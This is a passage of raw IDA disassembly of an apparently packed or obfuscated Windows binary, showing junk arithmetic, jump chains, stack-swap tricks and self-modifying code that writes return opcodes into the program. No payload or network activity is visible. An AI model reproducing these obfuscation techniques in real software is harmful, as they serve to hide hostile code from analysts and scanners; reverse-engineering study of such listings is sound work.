		sub	esi, 68CBEDF2h
		jmp	loc_43D670
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4410E0

loc_43D7DA:				; CODE XREF: sub_4410E0:loc_43CAE2j
		add	ebx, ebp
		add	ebx, 0A7C3D03Fh
		mov	[ebx], eax
		pop	ebx
		jmp	loc_444A5B
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43D7EA:				; CODE XREF: sub_44B17B+19Fj
		jnp	loc_43E755
		jl	loc_440A43
		jmp	loc_442058
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_43D7FB:				; CODE XREF: sub_44E14E:loc_43AD0Ej
					; sub_44E14E-865j
		push	1388h
		push	edi
		push	3CF60D3h
		pop	edi
		add	edi, 2A0E38F5h
		jmp	loc_448BEC
; END OF FUNCTION CHUNK	FOR sub_44E14E
; ---------------------------------------------------------------------------

loc_43D812:				; DATA XREF: y22d6.y.:00440707o
		pop	esi

loc_43D813:				; CODE XREF: y22d6.y.:loc_43F178j
		push	offset loc_442E9B
		jmp	loc_43B0C5
; ---------------------------------------------------------------------------

loc_43D81D:				; CODE XREF: y22d6.y.:0043C227j
		js	loc_442044
		mov	edx, 0CAB67AFCh
; START	OF FUNCTION CHUNK FOR sub_4499F4

loc_43D828:				; CODE XREF: sub_4499F4:loc_43C214j
		add	edx, 97B227F0h
		mov	edx, [edx]
		call	sub_4482CF
; END OF FUNCTION CHUNK	FOR sub_4499F4
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_43D835:				; CODE XREF: sub_4383E0:loc_44E1F7j
		push	edi
		push	offset sub_44CEE1
		jmp	loc_43E9A6
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B035

loc_43D840:				; CODE XREF: sub_43B035:loc_43E487j
		xor	eax, 5BB181D9h
		jmp	loc_43FB36
; END OF FUNCTION CHUNK	FOR sub_43B035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E33C

loc_43D84B:				; CODE XREF: sub_44E33Cj
		call	sub_43B7B5

loc_43D850:				; CODE XREF: y22d6.y.:0044B6D3j
		jmp	nullsub_276
; END OF FUNCTION CHUNK	FOR sub_44E33C
; ---------------------------------------------------------------------------

loc_43D855:				; CODE XREF: y22d6.y.:00447047j
		jmp	loc_4423CE
; ---------------------------------------------------------------------------

loc_43D85A:				; DATA XREF: y22d6.y.:loc_442DF5o
		xor	eax, 0C14FE91Eh
		call	sub_43CA1A
		mov	ds:dword_41E148, eax
		lea	eax, nullsub_331
		mov	byte ptr [eax],	0C3h
		jmp	loc_4394A7
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		sbb	edx, 0BB22189Ch
		jmp	loc_43A5A0
; ---------------------------------------------------------------------------

loc_43D887:				; CODE XREF: y22d6.y.:0043A6C6j
		ror	ecx, 9
		and	ebx, 0FD392E6Ah
		jmp	loc_44B730
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_43D896:				; CODE XREF: sub_43B252+130BCj
		jmp	loc_44D60F
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------

loc_43D89B:				; CODE XREF: y22d6.y.:0044C131j
		jmp	loc_43F90F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446222

loc_43D8A0:				; CODE XREF: sub_446222+Fj
		jmp	loc_445AAC
; END OF FUNCTION CHUNK	FOR sub_446222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43D8A5:				; CODE XREF: sub_439051+C042j
		jmp	loc_443C0A
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_43D8AA:				; CODE XREF: sub_43F501:loc_445F03j
		call	sub_44D293
		push	eax
		jmp	loc_443E32
; END OF FUNCTION CHUNK	FOR sub_43F501

; =============== S U B	R O U T	I N E =======================================



sub_43D8B5	proc near		; CODE XREF: sub_442592j
		push	ebp
		push	offset loc_44E36C
		jmp	nullsub_58
sub_43D8B5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_43D8C0:				; CODE XREF: sub_437901+Dj
		pop	ecx
		and	ecx, ds:4000EAh
		add	ecx, 0CF2D3242h
		rol	ecx, 2
		xor	ecx, 30E7FD7Bh
		xor	eax, ecx
		pop	ecx
		jmp	loc_448169
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------

loc_43D8DE:				; CODE XREF: y22d6.y.:0043F702j
		mov	[esi], edi

; =============== S U B	R O U T	I N E =======================================



sub_43D8E0	proc near		; CODE XREF: y22d6.y.:00444BFFp

; FUNCTION CHUNK AT 0043E2AD SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, 0C044AE53h
		push	offset loc_448989
		jmp	loc_43E2AD
sub_43D8E0	endp

; ---------------------------------------------------------------------------

loc_43D8F4:				; CODE XREF: y22d6.y.:loc_4405D4j
					; y22d6.y.:0044073Aj
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		lea	eax, dword_4483B4
		push	ecx
		push	eax
		pop	ecx
		xchg	ecx, [esp]
		jmp	loc_445B8B
; ---------------------------------------------------------------------------

loc_43D90B:				; CODE XREF: y22d6.y.:0044C8BAj
		and	edi, 5A41E12Bh
		add	edi, 33B48B3Bh
		rol	edi, 7
		add	edi, 79257538h
		add	eax, edi
		pop	edi
		ror	eax, 2
		jmp	loc_43A859
; ---------------------------------------------------------------------------

loc_43D92B:				; DATA XREF: y22d6.y.:loc_4449F0o
		jmp	loc_440777
; ---------------------------------------------------------------------------
		push	8EC1D677h
		pop	eax
		add	eax, 26C4F121h
		xor	eax, ds:4000EBh
		rol	eax, 0Ch
		xor	eax, 0F64A0248h
		jmp	loc_449E98
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_43D951:				; CODE XREF: sub_43C6D7-FDAj
		jmp	loc_44E252
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
		and	ecx, edi
		jmp	loc_4493CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D95E:				; CODE XREF: y22d6.y.:00437338j
		xor	edi, 74E744Fh
		xchg	edi, [esp]
		push	ecx
		pushf
		push	590DC3B2h
		jmp	loc_43D505
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441AE7

loc_43D973:				; CODE XREF: sub_441AE7:loc_44DE99j
		pop	ecx
		rol	eax, 8
		jmp	loc_4418F1
; END OF FUNCTION CHUNK	FOR sub_441AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_43D97C:				; CODE XREF: sub_44439Dj
		mov	eax, ds:dword_437620
		or	eax, eax
		jnz	loc_446464
		jmp	loc_440667
; END OF FUNCTION CHUNK	FOR sub_44439D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_271. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BA8D

loc_43D990:				; CODE XREF: sub_44BA8D+10j
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_44BA8D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_43D996:				; CODE XREF: sub_440494+3D05j
		jp	loc_43E020
		jmp	loc_44CF6A
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404E5

loc_43D9A1:				; CODE XREF: sub_4404E5:loc_4384D1j
		xor	esi, 50D1AC53h
		or	esi, 2671FDFDh
		rol	esi, 1Fh
		and	esi, 0C4530365h
		add	esi, 4032192Bh
		popf
		xchg	esi, [esp-4+arg_0]
		jmp	loc_44810C
; END OF FUNCTION CHUNK	FOR sub_4404E5
; ---------------------------------------------------------------------------

loc_43D9C5:				; CODE XREF: y22d6.y.:004463F0j
		add	esi, ebx

; =============== S U B	R O U T	I N E =======================================



sub_43D9C7	proc near		; CODE XREF: sub_444E14+E72p

; FUNCTION CHUNK AT 00439E79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D063 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ecx], eax
		jmp	loc_43D063
sub_43D9C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43D9D2	proc near		; CODE XREF: sub_4408F2-72CFp
					; y22d6.y.:00440DC7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439E72 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043A0BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441330 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00444613 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	edx, edx

loc_43D9D8:				; CODE XREF: sub_4444B1+9j
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		jmp	loc_43A0BA
sub_43D9D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43D9E5	proc near		; DATA XREF: y22d6.y.:004440BEo
		push	eax
		ror	eax, 3
		mov	ds:dword_441968, eax
		retn
sub_43D9E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EA2

loc_43D9F0:				; CODE XREF: sub_443EA2-C525j
					; y22d6.y.:004440A9j
		rol	eax, 3
		jmp	loc_437BC8
; END OF FUNCTION CHUNK	FOR sub_443EA2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_350. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43D9F9:				; CODE XREF: sub_4432B8-797Aj
		jmp	loc_437549
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF1F

loc_43D9FE:				; CODE XREF: sub_43DF1F-5CC2j
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_43DF1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_43DA03:				; CODE XREF: sub_43FBC3:loc_441298j
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_442AFF
		mov	eax, 0C0F1A028h
		call	sub_43CA1A
		push	ebx
		jmp	loc_44CF9F
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------

loc_43DA1D:				; CODE XREF: y22d6.y.:loc_43CE9Ej
		call	sub_448E18
		call	sub_44A53A
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_43DA27:				; CODE XREF: sub_43C694+B641j
		jz	loc_43FE21

loc_43DA2D:				; CODE XREF: sub_44B1D2-F8B8j
		jmp	loc_43949B
; END OF FUNCTION CHUNK	FOR sub_43C694
; ---------------------------------------------------------------------------
		xchg	eax, [edi]
		cmp	edi, ebp
		jmp	loc_44D7A8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CFC

loc_43DA3C:				; CODE XREF: sub_449CFC+4j
		xor	eax, 0E2EB2F0Ah
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		jmp	sub_44CC9B
; END OF FUNCTION CHUNK	FOR sub_449CFC
; ---------------------------------------------------------------------------

loc_43DA4D:				; CODE XREF: y22d6.y.:0044874Aj
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_4441D9
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_43DA58:				; CODE XREF: sub_442C0C-130Dj
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_442C0C

; =============== S U B	R O U T	I N E =======================================



sub_43DA5D	proc near		; CODE XREF: sub_43E196:loc_43E1A5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C317 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00446DC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448C8B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044E2D1 SIZE 00000007 BYTES

		push	ebx
		push	5AFE86F2h
		pop	ebx
		sub	ebx, 46E143DBh
		xor	ebx, 0B2D26BCh
		jmp	loc_446DC9
sub_43DA5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_43788E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44731A

loc_43DA7B:				; CODE XREF: sub_44731A+Dj
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-18h], 0

loc_43DA85:				; CODE XREF: sub_43EFB1-448Bj
		mov	eax, [ebp-4]
		push	offset loc_443443
		jmp	loc_43E37A
; END OF FUNCTION CHUNK	FOR sub_44731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441453

loc_43DA92:				; CODE XREF: sub_441453+5j
		jmp	ds:off_41E0C0
; END OF FUNCTION CHUNK	FOR sub_441453

; =============== S U B	R O U T	I N E =======================================



sub_43DA98	proc near		; CODE XREF: y22d6.y.:0043963Cj
					; sub_44DB4F-1320Fj ...

; FUNCTION CHUNK AT 004494BE SIZE 00000005 BYTES

		push	offset byte_43843B
		jmp	loc_4494BE
sub_43DA98	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_43DAA2:				; CODE XREF: sub_43C55B:loc_448657j
		mov	ds:off_41E02C, eax
		lea	eax, sub_4464C8
		call	sub_43B489
		cmp	ecx, eax
		jmp	loc_445781
; END OF FUNCTION CHUNK	FOR sub_43C55B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_279. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43DABB	proc near		; CODE XREF: y22d6.y.:0043F1B2p
					; y22d6.y.:00444632j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004396D4 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 77FEAD24h
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_4396D4
sub_43DABB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_262. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_43DACE:				; CODE XREF: sub_447940+9j
		jmp	loc_447AD9
; END OF FUNCTION CHUNK	FOR sub_447940
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DAD3:				; CODE XREF: sub_448EB6-7A68j
		jmp	sub_44D73B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

locret_43DAD8:				; CODE XREF: y22d6.y.:0043B96Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_43DAD9:				; CODE XREF: sub_440494+DFA8j
		jmp	loc_442ED3
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_43DADE:				; CODE XREF: sub_4384B4+Aj
		push	edx
		call	sub_438E86
		push	0C09AEB57h
		pop	eax
		or	eax, 65FEE80Ah
		jmp	loc_445431
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6F

loc_43DAF5:				; CODE XREF: sub_438A6F:loc_44B612j
		jno	loc_44D5C2
		add	esp, 8
		mov	eax, [eax]
		push	ebx
		push	31D4A12Ch
		jmp	loc_43BF36
; END OF FUNCTION CHUNK	FOR sub_438A6F
; ---------------------------------------------------------------------------

loc_43DB0B:				; CODE XREF: y22d6.y.:0043CF86j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C09E

; =============== S U B	R O U T	I N E =======================================



sub_43DB13	proc near		; CODE XREF: sub_401000+1B2p
					; sub_401000+1E6p ...
		call	sub_43DB23
		jmp	ds:off_41E0E8
sub_43DB13	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B11C

loc_43DB1E:				; CODE XREF: sub_43B11C+14j
		jmp	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_43B11C

; =============== S U B	R O U T	I N E =======================================



sub_43DB23	proc near		; CODE XREF: sub_43C74D+Ej sub_43DB13p ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438FF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004392C6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043A559 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044771E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044C3D2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044E0A3 SIZE 00000008 BYTES

		xchg	edi, [esp+8+var_8]
		jmp	loc_44C3D2
sub_43DB23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43DB2B:				; CODE XREF: sub_449641:loc_44B4C1j
		pop	ebx
		rol	ebx, 13h
		xor	ebx, 4164480h
		test	ebx, 4
		jmp	loc_43E394
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43DB40:				; CODE XREF: sub_44633F+5A4Cj
		jg	loc_443B68
		sbb	esi, ebp
		adc	edi, ebp
		jmp	loc_43A651
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C69

loc_43DB4F:				; CODE XREF: sub_441C69+4j
		mov	esi, ecx
		xchg	esi, [esp+0]
		push	ecx
		push	0FFC03303h
		pop	ecx
		and	ecx, 1AF25F1Bh
		jmp	loc_4373E9
; END OF FUNCTION CHUNK	FOR sub_441C69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43DB66:				; CODE XREF: sub_44E5C7-1143j
		jz	loc_44C761
		jmp	loc_438934
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------

loc_43DB71:				; DATA XREF: sub_44C59C-74EDo
		push	1C58E248h
		pop	edx
		or	edx, 8AC9295Dh
		and	edx, 1A564B85h
		jmp	loc_444F55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DB88:				; CODE XREF: sub_448EB6-1187j
		push	ecx
		mov	ecx, edi
		xchg	ecx, [esp-4+arg_0]
		mov	edi, edx
		xchg	edi, [esp-4+arg_0]
		push	ecx
		call	sub_43C128

loc_43DB99:				; CODE XREF: sub_44D002:loc_44D009j
		jmp	loc_43BA83
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43DB9E:				; CODE XREF: sub_43BCA9+9420j
		jmp	loc_43A495
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DBA3:				; CODE XREF: sub_448EB6+1C7j
		adc	edi, ebx

loc_43DBA5:				; CODE XREF: sub_448EB6:loc_449062j
		rol	edi, 12h
		add	edi, 0B3ED1A06h
		mov	[edi], eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43DBB2:				; CODE XREF: y22d6.y.:00446281j
		rol	eax, 4
		jmp	loc_43F4D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43DBBB:				; CODE XREF: y22d6.y.:00441EDDj
		jmp	loc_4445B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DBC0:				; CODE XREF: sub_448EB6:loc_43BB3Aj
		add	edx, ebp
		sbb	ebp, 92858C10h
		jmp	loc_44A3C6
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_43DBCD:				; CODE XREF: sub_43E86C:loc_43DC0Fj
		js	loc_44B6EA

loc_43DBD3:				; CODE XREF: sub_442206+Aj
		jmp	loc_44901C
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
		dd 330CCAC1h, 0C8860FC8h, 0F0000ABh, 0F69E8Ah, 0DAFCE900h
		dd 45FF0000h, 0E4458BE0h, 44C99968h, 9E5AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43DBFE:				; CODE XREF: sub_44AEDA:loc_441999j
		jz	loc_44738E
		jmp	loc_43BB66
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
		jz	loc_445FF1
; START	OF FUNCTION CHUNK FOR sub_43E86C

loc_43DC0F:				; CODE XREF: sub_43E86C+4ED6j
		jmp	loc_43DBCD
; END OF FUNCTION CHUNK	FOR sub_43E86C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_43DC14:				; CODE XREF: sub_445A15-A86Cj
		jmp	locret_449039
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------
		shl	edx, 16h
		adc	ebx, 96101AFAh
		xor	ebp, edi
		sub	ebx, 0EC4190A4h
		jmp	loc_43C1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_43DC2F:				; CODE XREF: sub_4431CD+A6D9j
		jle	loc_43F1CE
		pushf
		jmp	loc_44AB35
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------

loc_43DC3B:				; CODE XREF: y22d6.y.:loc_443D16j
					; DATA XREF: sub_44057E-5DA8o
		lea	eax, loc_44B5EA
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B5EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_43DC49:				; CODE XREF: y22d6.y.:00442030j
					; sub_4432B8:loc_447EBAj ...
		mov	eax, [esp+0]
		push	edx
		call	sub_442C0C
		push	896CDE21h
		pop	eax
		rol	eax, 10h
		jmp	loc_449AD0
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------

loc_43DC60:				; CODE XREF: y22d6.y.:loc_4461A6j
		sub	ebp, 793F9F9Bh
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43DC66:				; CODE XREF: sub_449641:loc_446193j
		and	eax, 6E69F28h
		add	eax, 0FF5E882Eh
		xchg	eax, [esp+4+var_4]
		jmp	sub_44C758
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_43DC7A:				; CODE XREF: sub_43B252:loc_44A32Fj
		pop	eax
		or	eax, 19749A84h

loc_43DC81:				; CODE XREF: y22d6.y.:0043DCF1j
		xor	eax, 597EE53Ah
		and	eax, 0C15AF96Eh
		add	eax, (offset loc_43ACCB+4)
		jmp	loc_44E0B1
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_43DC98:				; CODE XREF: sub_43B7B5+1142Bj
		mov	eax, 33F214AFh
		call	sub_43CA1A
		rol	eax, 12h
		add	eax, 0F9501007h
		call	sub_448E3E

loc_43DCB0:				; CODE XREF: y22d6.y.:00447B88j
		jmp	loc_44DFF8
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_43DCB5:				; CODE XREF: sub_439051+14j
		jz	loc_43D6DC
		jmp	loc_43B791
; END OF FUNCTION CHUNK	FOR sub_439051

; =============== S U B	R O U T	I N E =======================================



sub_43DCC0	proc near		; CODE XREF: sub_4019F9+2Ap
					; sub_4019F9+5Dp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043B058 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043EBBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444C04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004472CE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00449790 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044BA70 SIZE 0000000B BYTES

		call	sub_439E54

loc_43DCC5:				; DATA XREF: y22d6.y.:loc_44C3C7o
		push	eax
		lea	eax, dword_4483B4
		push	esi
		mov	esi, eax
		jmp	loc_449790
sub_43DCC0	endp

; ---------------------------------------------------------------------------

loc_43DCD4:				; CODE XREF: y22d6.y.:00442821j
					; y22d6.y.:00442836j
		add	eax, ds:4000E6h
		js	loc_43A7C5
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_43DCE0:				; CODE XREF: sub_43E139+6D6Bj
		jmp	loc_43F507
; END OF FUNCTION CHUNK	FOR sub_43E139
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F96

loc_43DCE5:				; CODE XREF: sub_442F96+Cj
		jmp	nullsub_52
; END OF FUNCTION CHUNK	FOR sub_442F96
; ---------------------------------------------------------------------------
		and	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43DCEC:				; CODE XREF: sub_44057E:loc_44B584j
		jmp	loc_43A7BC
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
		jmp	short loc_43DC81
; ---------------------------------------------------------------------------
		db 0DDh
dword_43DCF4	dd 0			; DATA XREF: sub_43FC1E+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44243B

loc_43DCF8:				; CODE XREF: sub_44243B+A6F9j
		jmp	loc_44D1FA
; END OF FUNCTION CHUNK	FOR sub_44243B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DCFD:				; CODE XREF: sub_448EB6+1E9j
		jmp	loc_4498B4
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A01

loc_43DD02:				; CODE XREF: sub_447A01+Aj
		jmp	loc_4394AC
; END OF FUNCTION CHUNK	FOR sub_447A01
; ---------------------------------------------------------------------------

loc_43DD07:				; DATA XREF: sub_43E185-6653o
					; y22d6.y.:0044CAAEo
		test	eax, 4CA24853h
		mov	[ecx-279BA36Fh], ebx
		fadd	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_43DD14:				; CODE XREF: sub_44D6D0+3j
		jmp	loc_44BB92
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44999F

loc_43DD19:				; CODE XREF: sub_44999F-99F9j
		jmp	loc_441C7D
; END OF FUNCTION CHUNK	FOR sub_44999F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43DD1E:				; CODE XREF: sub_448EB6-10A57j
		jmp	loc_44CDBD
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		jnb	loc_44DB97
		mov	edx, ds:dword_44D0D8
		jmp	loc_43829C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_43DD34:				; CODE XREF: sub_44A095:loc_442F1Cj
		cmp	edx, 0E7E4CBD0h
		jmp	loc_443B0A
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------

loc_43DD3F:				; CODE XREF: y22d6.y.:00440A3Dj
		rol	edi, 2

; =============== S U B	R O U T	I N E =======================================



sub_43DD42	proc near		; CODE XREF: sub_4480DE-DF10p

; FUNCTION CHUNK AT 00439886 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043B3E4 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00445FB4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044C550 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_438A67
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_445FB4
		mov	eax, [ebp-4]
		jmp	loc_44C550
sub_43DD42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43DD60	proc near		; CODE XREF: y22d6.y.:00445624j
					; y22d6.y.:loc_446166p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_44A46F
sub_43DD60	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
